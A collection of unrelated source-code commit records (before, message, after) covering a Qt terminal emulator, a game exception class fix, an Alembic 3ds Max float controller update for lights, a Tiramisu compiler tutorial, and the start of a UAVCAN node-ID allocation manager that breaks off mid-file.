terminal, TERM_KEY_UP ); break; case Qt::Key_Down: term_send_special( terminal, TERM_KEY_DOWN ); break; case Qt::Key_Right: term_send_special( terminal, TERM_KEY_RIGHT ); break; case Qt::Key_Left: term_send_special( terminal, TERM_KEY_LEFT ); break; default: term_send_data( terminal, event->text().toUtf8().constData(), event->text().count() ); break; } } void QTerm::resizeEvent(QResizeEvent *event) { if( char_width != 0 && char_height != 0 ) { #ifdef __QNX__ { int kbd_height; #ifdef BPS_VERSION virtualkeyboard_get_height( &kbd_height ); #else kbd_height = BlackBerry::Keyboard::instance().keyboardHeight(); #endif term_resize( terminal, event->size().width() / char_width, (event->size().height() - kbd_height) / char_height, 0 ); } #else term_resize( terminal, event->size().width() / char_width, event->size().height() / char_height, 0 ); #endif } } int main(int argc, char *argv[]) { term_t terminal; #ifdef __QNX__ #ifdef BPS_VERSION if( bps_initialize() != BPS_SUCCESS ) { fprintf(stderr, "Failed to initialize bps (%s)\n", strerror( errno ) ); exit(1); } #endif #endif if( !term_create( &terminal ) ) { fprintf(stderr, "Failed to create terminal (%s)\n", strerror( errno ) ); exit(1); } if( !term_begin( terminal, WIDTH, HEIGHT, 0 ) ) { fprintf(stderr, "Failed to begin terminal (%s)\n", strerror( errno ) ); exit(1); } { QCoreApplication::addLibraryPath("app/native/lib"); QApplication app(argc, argv); QTerm term(NULL, terminal); term.show(); return app.exec(); } } <|endoftext|>
<commit_before>#include "Archive.h" #include <cmath> #include <cstring> #include <cstdarg> using WalrusRPG::PIAF::PIAFException; using namespace WalrusRPG::PIAF; PIAFException::PIAFException(const char *format, ...) : msg("") { va_list list; va_start(list, format); vsnprintf(msg, 1024, format, list); va_end(list); } PIAFException::~PIAFException() { if(msg != nullptr) delete msg; } const char* PIAFException::what() const throw() { return msg; }<commit_msg>Fixed an useless delete. Could have been the origin of problems<commit_after>#include "Archive.h" #include <cmath> #include <cstring> #include <cstdarg> using WalrusRPG::PIAF::PIAFException; using namespace WalrusRPG::PIAF; PIAFException::PIAFException(const char *format, ...) : msg("") { va_list list; va_start(list, format); vsnprintf(msg, 1024, format, list); va_end(list); } PIAFException::~PIAFException() { } const char* PIAFException::what() const throw() { return msg; }<|endoftext|>
<commit_before>#include "stdafx.h" #include "Alembic.h" #include "AlembicArchiveStorage.h" #include "AlembicDefinitions.h" #include "AlembicFloatController.h" #include "Utility.h" #include "AlembicNames.h" #include "resource.h" #include "AlembicMAXScript.h" #include "AlembicCameraUtilities.h" // This function returns a pointer to a class descriptor for our Utility // This is the function that informs max that our plug-in exists and is // available to use static AlembicFloatControllerClassDesc sAlembicFloatControllerClassDesc; ClassDesc2* GetAlembicFloatControllerClassDesc() { return &sAlembicFloatControllerClassDesc; } /////////////////////////////////////////////////////////////////////////////////////////////////// // Alembic_vis_Ctrl_Param_Blk /////////////////////////////////////////////////////////////////////////////////////////////////// static ParamBlockDesc2 AlembicFloatControllerParams( 0, _T(ALEMBIC_FLOAT_CONTROLLER_SCRIPTNAME), 0, GetAlembicFloatControllerClassDesc(), P_AUTO_CONSTRUCT | P_AUTO_UI, 0, // rollout description IDD_ALEMBIC_FLOAT_CTRL_PARAMS, IDS_ALEMBIC, 0, 0, NULL, // params AlembicFloatController::ID_PATH, _T("path"), TYPE_FILENAME, P_RESET_DEFAULT, IDS_PATH, p_default, "", p_ui, TYPE_EDITBOX, IDC_PATH_EDIT, p_assetTypeID, AssetManagement::kExternalLink, p_end, AlembicFloatController::ID_IDENTIFIER, _T("identifier"), TYPE_STRING, P_RESET_DEFAULT, IDS_IDENTIFIER, p_default, "", p_ui, TYPE_EDITBOX, IDC_IDENTIFIER_EDIT, p_end, AlembicFloatController::ID_PROPERTY, _T("property"), TYPE_STRING, P_RESET_DEFAULT, IDC_PROPERTY_EDIT, p_default, "", p_ui, TYPE_EDITBOX, IDC_PROPERTY_EDIT, p_end, AlembicFloatController::ID_TIME, _T("time"), TYPE_FLOAT, P_ANIMATABLE, IDS_TIME, p_default, 0.0f, p_range, 0.0f, 1000.0f, p_ui, TYPE_SPINNER, EDITTYPE_FLOAT, IDC_TIME_EDIT, IDC_TIME_SPIN, 0.01f, p_end, AlembicFloatController::ID_MUTED, _T("muted"), TYPE_BOOL, P_ANIMATABLE, IDS_MUTED, p_default, FALSE, p_ui, TYPE_SINGLECHEKBOX, IDC_MUTED_CHECKBOX, p_end, p_end ); /////////////////////////////////////////////////////////////////////////////////////////////////// // AlembicFloatController Methods /////////////////////////////////////////////////////////////////////////////////////////////////// IObjParam *AlembicFloatController::ip = NULL; AlembicFloatController *AlembicFloatController::editMod = NULL; void AlembicFloatController::GetValueLocalTime(TimeValue t, void *ptr, Interval &valid, GetSetMethod method) { ESS_CPP_EXCEPTION_REPORTING_START Interval interval = FOREVER; MCHAR const* strPath = NULL; this->pblock->GetValue( AlembicFloatController::ID_PATH, t, strPath, interval); MCHAR const* strIdentifier = NULL; this->pblock->GetValue( AlembicFloatController::ID_IDENTIFIER, t, strIdentifier, interval); MCHAR const* strProperty = NULL; this->pblock->GetValue( AlembicFloatController::ID_PROPERTY, t, strProperty, interval); float fTime; this->pblock->GetValue( AlembicFloatController::ID_TIME, t, fTime, interval); BOOL bMuted; this->pblock->GetValue( AlembicFloatController::ID_MUTED, t, bMuted, interval); extern bool g_bVerboseLogging; if(g_bVerboseLogging){ ESS_LOG_INFO("Param block at tick "<<t<<"-----------------------"); ESS_LOG_INFO("PATH: "<<strPath); ESS_LOG_INFO("IDENTIFIER: "<<strIdentifier); ESS_LOG_INFO("PROPERTY: "<<strProperty); ESS_LOG_INFO("TIME: "<<fTime); ESS_LOG_INFO("MUTED: "<<bMuted); ESS_LOG_INFO("Param block end -------------"); } if (bMuted || !strProperty){ return; } std::string szPath = EC_MCHAR_to_UTF8( strPath ); std::string szIdentifier = EC_MCHAR_to_UTF8( strIdentifier ); std::string szProperty = EC_MCHAR_to_UTF8( strProperty ); if( szProperty.size() == 0 ) { ESS_LOG_ERROR( "No property specified." ); return; } AbcG::IObject iObj = getObjectFromArchive(szPath, szIdentifier); if(!iObj.valid() || !AbcG::ICamera::matches(iObj.getMetaData())) { return; } if(g_bVerboseLogging){ ESS_LOG_INFO("Camera object found."); } AbcG::ICamera objCamera = AbcG::ICamera(iObj, Abc::kWrapExisting); TimeValue dTicks = GetTimeValueFromSeconds( fTime ); double sampleTime = GetSecondsFromTimeValue(dTicks); SampleInfo sampleInfo = getSampleInfo(sampleTime, objCamera.getSchema().getTimeSampling(), objCamera.getSchema().getNumSamples()); AbcG::CameraSample sample; objCamera.getSchema().get(sample, sampleInfo.floorIndex); if(g_bVerboseLogging){ ESS_LOG_INFO("dTicks: "<<dTicks<<" sampleTime: "<<sampleTime); ESS_LOG_INFO("SampleInfo.alpha: "<<sampleInfo.alpha<< "SampleInfo(fi, ci): "<<sampleInfo.floorIndex<<", "<<sampleInfo.ceilIndex); } double sampleVal = 0.0; if(!getCameraSampleVal(objCamera, sampleInfo, sample, szProperty.c_str(), sampleVal)){ return; } // Blend the camera values, if necessary if (sampleInfo.alpha != 0.0) { objCamera.getSchema().get(sample, sampleInfo.ceilIndex); double sampleVal2 = 0.0; if(getCameraSampleVal(objCamera, sampleInfo, sample, szProperty.c_str(), sampleVal2)){ sampleVal = (1.0 - sampleInfo.alpha) * sampleVal + sampleInfo.alpha * sampleVal2; } } const float fSampleVal = (float)sampleVal; if(g_bVerboseLogging){ ESS_LOG_INFO("Property "<<strProperty<<": "<<fSampleVal); } valid = interval; if (method == CTRL_ABSOLUTE) { float* fInVal = (float*)ptr; *fInVal = fSampleVal; } else // CTRL_RELATIVE { float* fInVal = (float*)ptr; *fInVal = fSampleVal * (*fInVal); } ESS_CPP_EXCEPTION_REPORTING_END } AlembicFloatController::AlembicFloatController() { pblock = NULL; sAlembicFloatControllerClassDesc.MakeAutoParamBlocks(this); } AlembicFloatController::~AlembicFloatController() { delRefArchive(m_CachedAbcFile); } RefTargetHandle AlembicFloatController::Clone(RemapDir& remap) { AlembicFloatController *ctrl = new AlembicFloatController(); ctrl->ReplaceReference (0, remap.CloneRef(pblock)); BaseClone(this, ctrl, remap); return ctrl; } void AlembicFloatController::EnumAuxFiles(AssetEnumCallback& nameEnum, DWORD flags) { if ((flags&FILE_ENUM_CHECK_AWORK1)&&TestAFlag(A_WORK1)) return; // LAM - 4/11/03 if (!(flags&FILE_ENUM_INACTIVE)) return; // not needed by renderer if(flags & FILE_ENUM_ACCESSOR_INTERFACE) { IEnumAuxAssetsCallback* callback = static_cast<IEnumAuxAssetsCallback*>(&nameEnum); callback->DeclareAsset(AlembicPathAccessor(this)); } //else { // IPathConfigMgr::GetPathConfigMgr()->RecordInputAsset( this->GetParamBlockByID( 0 )->GetAssetUser( GetParamIdByName( this, 0, "path" ), 0 ), nameEnum, flags); //} ReferenceTarget::EnumAuxFiles(nameEnum, flags); } void AlembicFloatController::SetValueLocalTime(TimeValue t, void *ptr, int commit, GetSetMethod method) { } void* AlembicFloatController::CreateTempValue() { return new float; } void AlembicFloatController::DeleteTempValue(void *val) { delete (float*)val; } void AlembicFloatController::ApplyValue(void *val, void *delta) { float &fdelta = *((float*)delta); float &fval = *((float*)val); fval = fdelta * fval; } void AlembicFloatController::MultiplyValue(void *val, float m) { float *fVal = (float*)val; *fVal = (*fVal) * m; } void AlembicFloatController::Extrapolate(Interval range, TimeValue t, void *val, Interval &valid, int type) { } #define LOCK_CHUNK 0x2535 //the lock value IOResult AlembicFloatController::Save(ISave *isave) { Control::Save(isave); // note: if you add chunks, it must follow the LOCK_CHUNK chunk due to Renoir error in // placement of Control::Save(isave); ULONG nb; int on = (mLocked==true) ? 1 :0; isave->BeginChunk(LOCK_CHUNK); isave->Write(&on,sizeof(on),&nb); isave->EndChunk(); return IO_OK; } IOResult AlembicFloatController::Load(ILoad *iload) { ULONG nb; IOResult res; res = Control::Load(iload); if (res!=IO_OK) return res; // We can't do the standard 'while' loop of opening chunks and checking ID // since that will eat the Control ORT chunks that were saved improperly in Renoir USHORT next = iload->PeekNextChunkID(); if (next == LOCK_CHUNK) { iload->OpenChunk(); int on; res=iload->Read(&on,sizeof(on),&nb); if(on) mLocked = true; else mLocked = false; iload->CloseChunk(); if (res!=IO_OK) return res; } // Only do anything if this is the control base classes chunk next = iload->PeekNextChunkID(); if (next == CONTROLBASE_CHUNK) res = Control::Load(iload); // handle improper Renoir Save order return res; } RefResult AlembicFloatController::NotifyRefChanged( Interval iv, RefTargetHandle hTarg, PartID& partID, RefMessage msg) { switch (msg) { case REFMSG_CHANGE: if (hTarg == pblock) { ParamID changing_param = pblock->LastNotifyParamID(); switch(changing_param) { case ID_PATH: { delRefArchive(m_CachedAbcFile); MCHAR const* strPath = NULL; TimeValue t = GetCOREInterface()->GetTime(); pblock->GetValue( AlembicFloatController::ID_PATH, t, strPath, iv); m_CachedAbcFile = EC_MCHAR_to_UTF8( strPath ); addRefArchive(m_CachedAbcFile); } break; default: break; } AlembicFloatControllerParams.InvalidateUI(changing_param); } break; case REFMSG_OBJECT_CACHE_DUMPED: return REF_STOP; break; } return REF_SUCCEED; } void AlembicFloatController::BeginEditParams(IObjParam *ip,ULONG flags,Animatable *prev) { this->ip = ip; editMod = this; sAlembicFloatControllerClassDesc.BeginEditParams(ip, this, flags, prev); // Necessary? NotifyDependents(FOREVER, PART_ALL, REFMSG_CHANGE); } void AlembicFloatController::EndEditParams( IObjParam *ip, ULONG flags, Animatable *next ) { sAlembicFloatControllerClassDesc.EndEditParams(ip, this, flags, next); this->ip = NULL; editMod = NULL; } <commit_msg>issue #307 - started updating float controller to read from ILights<commit_after>#include "stdafx.h" #include "Alembic.h" #include "AlembicArchiveStorage.h" #include "AlembicDefinitions.h" #include "AlembicFloatController.h" #include "Utility.h" #include "AlembicNames.h" #include "resource.h" #include "AlembicMAXScript.h" #include "AlembicCameraUtilities.h" // This function returns a pointer to a class descriptor for our Utility // This is the function that informs max that our plug-in exists and is // available to use static AlembicFloatControllerClassDesc sAlembicFloatControllerClassDesc; ClassDesc2* GetAlembicFloatControllerClassDesc() { return &sAlembicFloatControllerClassDesc; } /////////////////////////////////////////////////////////////////////////////////////////////////// // Alembic_vis_Ctrl_Param_Blk /////////////////////////////////////////////////////////////////////////////////////////////////// static ParamBlockDesc2 AlembicFloatControllerParams( 0, _T(ALEMBIC_FLOAT_CONTROLLER_SCRIPTNAME), 0, GetAlembicFloatControllerClassDesc(), P_AUTO_CONSTRUCT | P_AUTO_UI, 0, // rollout description IDD_ALEMBIC_FLOAT_CTRL_PARAMS, IDS_ALEMBIC, 0, 0, NULL, // params AlembicFloatController::ID_PATH, _T("path"), TYPE_FILENAME, P_RESET_DEFAULT, IDS_PATH, p_default, "", p_ui, TYPE_EDITBOX, IDC_PATH_EDIT, p_assetTypeID, AssetManagement::kExternalLink, p_end, AlembicFloatController::ID_IDENTIFIER, _T("identifier"), TYPE_STRING, P_RESET_DEFAULT, IDS_IDENTIFIER, p_default, "", p_ui, TYPE_EDITBOX, IDC_IDENTIFIER_EDIT, p_end, AlembicFloatController::ID_PROPERTY, _T("property"), TYPE_STRING, P_RESET_DEFAULT, IDC_PROPERTY_EDIT, p_default, "", p_ui, TYPE_EDITBOX, IDC_PROPERTY_EDIT, p_end, AlembicFloatController::ID_TIME, _T("time"), TYPE_FLOAT, P_ANIMATABLE, IDS_TIME, p_default, 0.0f, p_range, 0.0f, 1000.0f, p_ui, TYPE_SPINNER, EDITTYPE_FLOAT, IDC_TIME_EDIT, IDC_TIME_SPIN, 0.01f, p_end, AlembicFloatController::ID_MUTED, _T("muted"), TYPE_BOOL, P_ANIMATABLE, IDS_MUTED, p_default, FALSE, p_ui, TYPE_SINGLECHEKBOX, IDC_MUTED_CHECKBOX, p_end, p_end ); /////////////////////////////////////////////////////////////////////////////////////////////////// // AlembicFloatController Methods /////////////////////////////////////////////////////////////////////////////////////////////////// IObjParam *AlembicFloatController::ip = NULL; AlembicFloatController *AlembicFloatController::editMod = NULL; void AlembicFloatController::GetValueLocalTime(TimeValue t, void *ptr, Interval &valid, GetSetMethod method) { ESS_CPP_EXCEPTION_REPORTING_START Interval interval = FOREVER; MCHAR const* strPath = NULL; this->pblock->GetValue( AlembicFloatController::ID_PATH, t, strPath, interval); MCHAR const* strIdentifier = NULL; this->pblock->GetValue( AlembicFloatController::ID_IDENTIFIER, t, strIdentifier, interval); MCHAR const* strProperty = NULL; this->pblock->GetValue( AlembicFloatController::ID_PROPERTY, t, strProperty, interval); float fTime; this->pblock->GetValue( AlembicFloatController::ID_TIME, t, fTime, interval); BOOL bMuted; this->pblock->GetValue( AlembicFloatController::ID_MUTED, t, bMuted, interval); extern bool g_bVerboseLogging; if(g_bVerboseLogging){ ESS_LOG_INFO("Param block at tick "<<t<<"-----------------------"); ESS_LOG_INFO("PATH: "<<strPath); ESS_LOG_INFO("IDENTIFIER: "<<strIdentifier); ESS_LOG_INFO("PROPERTY: "<<strProperty); ESS_LOG_INFO("TIME: "<<fTime); ESS_LOG_INFO("MUTED: "<<bMuted); ESS_LOG_INFO("Param block end -------------"); } if (bMuted || !strProperty){ return; } std::string szPath = EC_MCHAR_to_UTF8( strPath ); std::string szIdentifier = EC_MCHAR_to_UTF8( strIdentifier ); std::string szProperty = EC_MCHAR_to_UTF8( strProperty ); if( szProperty.size() == 0 ) { ESS_LOG_ERROR( "No property specified." ); return; } AbcG::IObject iObj = getObjectFromArchive(szPath, szIdentifier); if(!iObj.valid() || !AbcG::ICamera::matches(iObj.getMetaData())) { return; } if(!iObj.valid() || !Alembic::AbcGeom::ICamera::matches(iObj.getMetaData()) || !Alembic::AbcGeom::ILight::matches(iObj.getMetaData())){ return; } TimeValue dTicks = GetTimeValueFromSeconds( fTime ); double sampleTime = GetSecondsFromTimeValue(dTicks); double sampleVal = 0.0; if(Alembic::AbcGeom::ICamera::matches(iObj.getMetaData())){ Alembic::AbcGeom::ICamera objCamera = Alembic::AbcGeom::ICamera(iObj, Alembic::Abc::kWrapExisting); SampleInfo sampleInfo = getSampleInfo(sampleTime, objCamera.getSchema().getTimeSampling(), objCamera.getSchema().getNumSamples()); Alembic::AbcGeom::CameraSample sample; objCamera.getSchema().get(sample, sampleInfo.floorIndex); if(!getCameraSampleVal(objCamera, sampleInfo, sample, strProperty, sampleVal)){ return; } // Blend the camera values, if necessary if (sampleInfo.alpha != 0.0) { objCamera.getSchema().get(sample, sampleInfo.ceilIndex); double sampleVal2 = 0.0; if(getCameraSampleVal(objCamera, sampleInfo, sample, strProperty, sampleVal2)){ sampleVal = (1.0 - sampleInfo.alpha) * sampleVal + sampleInfo.alpha * sampleVal2; } } } else if(Alembic::AbcGeom::ILight::matches(iObj.getMetaData())){ Alembic::AbcGeom::ILight objLight = Alembic::AbcGeom::ILight(iObj, Alembic::Abc::kWrapExisting); /* SampleInfo sampleInfo = getSampleInfo(sampleTime, objLight.getSchema().getTimeSampling(), objLight.getSchema().getNumSamples()); Alembic::AbcGeo::LightSample sample; objLight.getSchema().get(sample, sampleInfo.floorIndex); */ } const float fSampleVal = (float)sampleVal; if(g_bVerboseLogging){ ESS_LOG_INFO("Property "<<strProperty<<": "<<fSampleVal); } valid = interval; if (method == CTRL_ABSOLUTE) { float* fInVal = (float*)ptr; *fInVal = fSampleVal; } else // CTRL_RELATIVE { float* fInVal = (float*)ptr; *fInVal = fSampleVal * (*fInVal); } ESS_CPP_EXCEPTION_REPORTING_END } AlembicFloatController::AlembicFloatController() { pblock = NULL; sAlembicFloatControllerClassDesc.MakeAutoParamBlocks(this); } AlembicFloatController::~AlembicFloatController() { delRefArchive(m_CachedAbcFile); } RefTargetHandle AlembicFloatController::Clone(RemapDir& remap) { AlembicFloatController *ctrl = new AlembicFloatController(); ctrl->ReplaceReference (0, remap.CloneRef(pblock)); BaseClone(this, ctrl, remap); return ctrl; } void AlembicFloatController::EnumAuxFiles(AssetEnumCallback& nameEnum, DWORD flags) { if ((flags&FILE_ENUM_CHECK_AWORK1)&&TestAFlag(A_WORK1)) return; // LAM - 4/11/03 if (!(flags&FILE_ENUM_INACTIVE)) return; // not needed by renderer if(flags & FILE_ENUM_ACCESSOR_INTERFACE) { IEnumAuxAssetsCallback* callback = static_cast<IEnumAuxAssetsCallback*>(&nameEnum); callback->DeclareAsset(AlembicPathAccessor(this)); } //else { // IPathConfigMgr::GetPathConfigMgr()->RecordInputAsset( this->GetParamBlockByID( 0 )->GetAssetUser( GetParamIdByName( this, 0, "path" ), 0 ), nameEnum, flags); //} ReferenceTarget::EnumAuxFiles(nameEnum, flags); } void AlembicFloatController::SetValueLocalTime(TimeValue t, void *ptr, int commit, GetSetMethod method) { } void* AlembicFloatController::CreateTempValue() { return new float; } void AlembicFloatController::DeleteTempValue(void *val) { delete (float*)val; } void AlembicFloatController::ApplyValue(void *val, void *delta) { float &fdelta = *((float*)delta); float &fval = *((float*)val); fval = fdelta * fval; } void AlembicFloatController::MultiplyValue(void *val, float m) { float *fVal = (float*)val; *fVal = (*fVal) * m; } void AlembicFloatController::Extrapolate(Interval range, TimeValue t, void *val, Interval &valid, int type) { } #define LOCK_CHUNK 0x2535 //the lock value IOResult AlembicFloatController::Save(ISave *isave) { Control::Save(isave); // note: if you add chunks, it must follow the LOCK_CHUNK chunk due to Renoir error in // placement of Control::Save(isave); ULONG nb; int on = (mLocked==true) ? 1 :0; isave->BeginChunk(LOCK_CHUNK); isave->Write(&on,sizeof(on),&nb); isave->EndChunk(); return IO_OK; } IOResult AlembicFloatController::Load(ILoad *iload) { ULONG nb; IOResult res; res = Control::Load(iload); if (res!=IO_OK) return res; // We can't do the standard 'while' loop of opening chunks and checking ID // since that will eat the Control ORT chunks that were saved improperly in Renoir USHORT next = iload->PeekNextChunkID(); if (next == LOCK_CHUNK) { iload->OpenChunk(); int on; res=iload->Read(&on,sizeof(on),&nb); if(on) mLocked = true; else mLocked = false; iload->CloseChunk(); if (res!=IO_OK) return res; } // Only do anything if this is the control base classes chunk next = iload->PeekNextChunkID(); if (next == CONTROLBASE_CHUNK) res = Control::Load(iload); // handle improper Renoir Save order return res; } RefResult AlembicFloatController::NotifyRefChanged( Interval iv, RefTargetHandle hTarg, PartID& partID, RefMessage msg) { switch (msg) { case REFMSG_CHANGE: if (hTarg == pblock) { ParamID changing_param = pblock->LastNotifyParamID(); switch(changing_param) { case ID_PATH: { delRefArchive(m_CachedAbcFile); MCHAR const* strPath = NULL; TimeValue t = GetCOREInterface()->GetTime(); pblock->GetValue( AlembicFloatController::ID_PATH, t, strPath, iv); m_CachedAbcFile = EC_MCHAR_to_UTF8( strPath ); addRefArchive(m_CachedAbcFile); } break; default: break; } AlembicFloatControllerParams.InvalidateUI(changing_param); } break; case REFMSG_OBJECT_CACHE_DUMPED: return REF_STOP; break; } return REF_SUCCEED; } void AlembicFloatController::BeginEditParams(IObjParam *ip,ULONG flags,Animatable *prev) { this->ip = ip; editMod = this; sAlembicFloatControllerClassDesc.BeginEditParams(ip, this, flags, prev); // Necessary? NotifyDependents(FOREVER, PART_ALL, REFMSG_CHANGE); } void AlembicFloatController::EndEditParams( IObjParam *ip, ULONG flags, Animatable *next ) { sAlembicFloatControllerClassDesc.EndEditParams(ip, this, flags, next); this->ip = NULL; editMod = NULL; } <|endoftext|>
<commit_before>/** The goal of this tutorial is to implement in Tiramisu a code that is equivalent to the following for (int i = 0; i < 10; i++) for (int j = 0; j < 20; j++) output[i, j] = input[i, j] + i + 2; */ #include <tiramisu/tiramisu.h> #define NN 10 #define MM 20 using namespace tiramisu; int main(int argc, char **argv) { // Set default tiramisu options. tiramisu::init(); // ------------------------------------------------------- // Layer I // ------------------------------------------------------- // Declare the function tut_02. function tut_02("tut_02"); // Declare the constants N and M. constant N_const("N", expr((int32_t) NN), p_int32, true, NULL, 0, &tut_02); constant M_const("M", expr((int32_t) MM), p_int32, true, NULL, 0, &tut_02); // Declare variables var i("i"), j("j"); // Declare a wrapper around the input. computation input("[N, M]->{input[i,j]: 0<=i<N and 0<=j<M}", expr(), false, p_uint8, &tut_02); // Declare expression and output computation. expr e = input(i, j) + cast(p_uint8, i) + (uint8_t)4; computation output("[N, M]->{output[i,j]: 0<=i<N and 0<=j<M}", e, true, p_uint8, &tut_02); // ------------------------------------------------------- // Layer II // ------------------------------------------------------- // Set the schedule of the computation. var i0("i0"), i1("i1"), j0("j0"), j1("j1"); output.tile(i, j, 2, 2, i0, j0, i1, j1); output.tag_parallel_level(i0); // ------------------------------------------------------- // Layer III // ------------------------------------------------------- buffer b_input("b_input", {expr(NN), expr(MM)}, p_uint8, a_input, &tut_02); buffer b_output("b_output", {expr(NN), expr(MM)}, p_uint8, a_output, &tut_02); // Map the computations to a buffer. input.set_access("{input[i,j]->b_input[i,j]}"); output.set_access("{output[i,j]->b_output[i,j]}"); // ------------------------------------------------------- // Code Generation // ------------------------------------------------------- // Set the arguments to tut_02 tut_02.codegen({&b_input, &b_output}, "build/generated_fct_developers_tutorial_02.o"); // Some debugging tut_02.dump_iteration_domain(); tut_02.dump_halide_stmt(); // Dump all the fields of the tut_02 class (useful for debugging). tut_02.dump(true); return 0; } /** * Current limitations: * - Note that the type of the invariants N and M are "int32_t". This is * important because these invariants are used later as loop bounds and the * type of the bounds and the iterators should be the same for correct code * generation. This implies that the invariants should be of type "int32_t". */ <commit_msg>Update tutorial_02.cpp<commit_after>/** The goal of this tutorial is to implement in Tiramisu a code that is equivalent to the following for (int i = 0; i < 10; i++) for (int j = 0; j < 20; j++) output[i, j] = input[i, j] + i + 2; */ #include <tiramisu/tiramisu.h> #define NN 10 #define MM 20 using namespace tiramisu; int main(int argc, char **argv) { // Set default tiramisu options. tiramisu::init(); // ------------------------------------------------------- // Layer I // ------------------------------------------------------- // Declare the function tut_02. function tut_02("tut_02"); // Declare two constants N and M. These constants will be used as loop bounds. // The parameters of the constant constructor are as follows: // - The name of the constant is "N". // - The value of the constant is expr((int32_t) NN). // - The constant is of type int32. // - The constant is declared in the beginning of the function tut_02 (i.e., // its scope is the whole function). // - The next two arguments (NULL and 0) are unused here. // - The last argument is the function in which this constant is declared. // For more details please refer to the documentation of the constant constructor. constant N_const("N", expr((int32_t) NN), p_int32, true, NULL, 0, &tut_02); constant M_const("M", expr((int32_t) MM), p_int32, true, NULL, 0, &tut_02); // Declare iterator variables. var i("i"), j("j"); // Declare a wrapper around the input. // In Tiramisu, if a function reads an input buffer (or writes to it), that buffer // cannot be accessed directly, but should first be wrapped in a dummy computation. // This is mainly because computations in Tiramisu do not access memory directly, // since the algorithm is supposed to be expressed independently of how data is stored. // Therefor all algorithms (computations) access other computations. The actual data // layout is only specified later in Layer III. // A wrapper is usually declared with an empty expression and is not supposed to be scheduled // (check the documentation of the computation constructor for more details). computation input("[N, M]->{input[i,j]: 0<=i<N and 0<=j<M}", expr(), false, p_uint8, &tut_02); // Declare expression and output computation. expr e = input(i, j) + cast(p_uint8, i) + (uint8_t)4; computation output("[N, M]->{output[i,j]: 0<=i<N and 0<=j<M}", e, true, p_uint8, &tut_02); // ------------------------------------------------------- // Layer II // ------------------------------------------------------- // Set the schedule of the computation. var i0("i0"), i1("i1"), j0("j0"), j1("j1"); // Tile the i, j loop around output by a 2x2 tile. The names of iterators // in the resulting loop are i0, j0, i1, j1. output.tile(i, j, 2, 2, i0, j0, i1, j1); // Parallelize the outermost loop i0 (OpenMP style parallelism). output.parallelize(i0); // ------------------------------------------------------- // Layer III // ------------------------------------------------------- // Declare input and output buffers/ buffer b_input("b_input", {expr(NN), expr(MM)}, p_uint8, a_input, &tut_02); buffer b_output("b_output", {expr(NN), expr(MM)}, p_uint8, a_output, &tut_02); // Map the computations to a buffer. // The following call indicates that each computation input[i,j] // is stored in the buffer element b_input[i,j] (one-to-one mapping). // This is the most common mapping to memory. input.bind_to(b_input); output.bind_to(b_output); // ------------------------------------------------------- // Code Generation // ------------------------------------------------------- // Set the arguments to tut_02 tut_02.codegen({&b_input, &b_output}, "build/generated_fct_developers_tutorial_02.o"); // Some debugging tut_02.dump_iteration_domain(); tut_02.dump_halide_stmt(); // Dump all the fields of the tut_02 class (useful for debugging). tut_02.dump(true); return 0; } /** * Current limitations: * - Note that the type of the invariants N and M are "int32_t". This is * important because these invariants are used later as loop bounds and the * type of the bounds and the iterators should be the same for correct code * generation. This implies that the invariants should be of type "int32_t". */ <|endoftext|>
<commit_before>/* * Copyright (C) 2015 Pavel Kirienko <pavel.kirienko@gmail.com> */ #ifndef UAVCAN_PROTOCOL_DYNAMIC_NODE_ID_SERVER_ALLOCATION_REQUEST_MANAGER_HPP_INCLUDED #define UAVCAN_PROTOCOL_DYNAMIC_NODE_ID_SERVER_ALLOCATION_REQUEST_MANAGER_HPP_INCLUDED #include <uavcan/build_config.hpp> #include <uavcan/debug.hpp> #include <uavcan/node/subscriber.hpp> #include <uavcan/node/publisher.hpp> #include <uavcan/util/method_binder.hpp> #include <uavcan/protocol/dynamic_node_id_server/types.hpp> #include <uavcan/protocol/dynamic_node_id_server/event.hpp> // UAVCAN types #include <uavcan/protocol/dynamic_node_id/Allocation.hpp> namespace uavcan { namespace dynamic_node_id_server { /** * The main allocator must implement this interface. */ class IAllocationRequestHandler { public: /** * Allocation request manager uses this method to detect if it is allowed to publish follow-up responses. */ virtual bool canPublishFollowupAllocationResponse() const = 0; /** * This method will be invoked when a new allocation request is received. */ virtual void handleAllocationRequest(const UniqueID& unique_id, NodeID preferred_node_id) = 0; virtual ~IAllocationRequestHandler() { } }; /** * This class manages communication with allocation clients. * Three-stage unique ID exchange is implemented here, as well as response publication. */ class AllocationRequestManager { typedef MethodBinder<AllocationRequestManager*, void (AllocationRequestManager::*)(const ReceivedDataStructure<Allocation>&)> AllocationCallback; const MonotonicDuration stage_timeout_; MonotonicTime last_message_timestamp_; Allocation::FieldTypes::unique_id current_unique_id_; IAllocationRequestHandler& handler_; IEventTracer& tracer_; Subscriber<Allocation, AllocationCallback> allocation_sub_; Publisher<Allocation> allocation_pub_; enum { InvalidStage = 0 }; void trace(TraceCode code, int64_t argument) { tracer_.onEvent(code, argument); } static uint8_t detectRequestStage(const Allocation& msg) { const uint8_t max_bytes_per_request = Allocation::MAX_LENGTH_OF_UNIQUE_ID_IN_REQUEST; if ((msg.unique_id.size() != max_bytes_per_request) && (msg.unique_id.size() != (msg.unique_id.capacity() - max_bytes_per_request * 2U)) && (msg.unique_id.size() != msg.unique_id.capacity())) // Future proofness for CAN FD { return InvalidStage; } if (msg.first_part_of_unique_id) { return 1; // Note that CAN FD frames can deliver the unique ID in one stage! } if (msg.unique_id.size() == Allocation::MAX_LENGTH_OF_UNIQUE_ID_IN_REQUEST) { return 2; } if (msg.unique_id.size() < Allocation::MAX_LENGTH_OF_UNIQUE_ID_IN_REQUEST) { return 3; } return InvalidStage; } uint8_t getExpectedStage() const { if (current_unique_id_.empty()) { return 1; } if (current_unique_id_.size() >= (Allocation::MAX_LENGTH_OF_UNIQUE_ID_IN_REQUEST * 2)) { return 3; } if (current_unique_id_.size() >= Allocation::MAX_LENGTH_OF_UNIQUE_ID_IN_REQUEST) { return 2; } return InvalidStage; } void publishFollowupAllocationResponse() { Allocation msg; msg.unique_id = current_unique_id_; UAVCAN_ASSERT(msg.unique_id.size() < msg.unique_id.capacity()); UAVCAN_TRACE("AllocationRequestManager", "Intermediate response with %u bytes of unique ID", unsigned(msg.unique_id.size())); trace(TraceAllocationFollowupResponse, msg.unique_id.size()); const int res = allocation_pub_.broadcast(msg); if (res < 0) { trace(TraceError, res); allocation_pub_.getNode().registerInternalFailure("Dynamic allocation broadcast"); } } void handleAllocation(const ReceivedDataStructure<Allocation>& msg) { trace(TraceAllocationActivity, msg.getSrcNodeID().get()); if (!msg.isAnonymousTransfer()) { return; // This is a response from another allocator, ignore } /* * Reset 